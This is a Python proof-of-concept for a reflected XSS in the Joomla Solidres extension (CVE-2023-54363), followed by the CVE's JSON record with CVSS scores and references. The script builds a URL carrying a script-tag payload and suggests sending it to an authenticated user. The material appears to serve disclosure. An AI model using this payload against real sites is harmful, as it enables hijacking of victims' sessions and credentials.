CVE-2023-54363

# PoC Code for CVE-2023-54363 # Demonstrates Reflected XSS in Joomla Solidres import urllib.parse def generate_exploit_url(base_url): # The vulnerable parameters identified in the advisory vulnerable_params = ['show', 'reviews', 'type_id', 'distance', 'facilities', 'categories', 'prices', 'location', 'Itemid'] # Simple JavaScript payload to demonstrate vulnerability payload = '<script>alert("CVE-2023-54363 XSS")</script>' # Using 'show' parameter as an example params = { 'option': 'com_solidres', 'view': 'base', 'show': payload } # Construct full URL query_string = urllib.parse.urlencode(params) exploit_url = f"{base_url}?{query_string}" return exploit_url if __name__ == "__main__": target = "http://example.com/index.php" print(f"[+] Exploit URL: {generate_exploit_url(target)}") print("[+] Send this URL to an authenticated user to trigger the XSS.")

{"cve": {"id": "CVE-2023-54363", "sourceIdentifier": "[email protected]", "published": "2026-04-09T21:16:05.907", "lastModified": "2026-04-15T15:00:32.790", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Joomla Solidres 2.13.3 contains a reflected cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts by manipulating multiple GET parameters including show, reviews, type_id, distance, facilities, categories, prices, location, and Itemid. Attackers can craft malicious URLs containing JavaScript payloads in these parameters to steal session tokens, login credentials, or manipulate site content when victims visit the crafted links."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "http://solidres.com/", "source": "[email protected]"}, {"url": "https://extensions.joomla.org/extension/vertical-markets/booking-a-reservations/solidres/", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/51638", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/joomla-solidres-reflected-xss-via-multiple-parameters", "source": "[email protected]"}]}}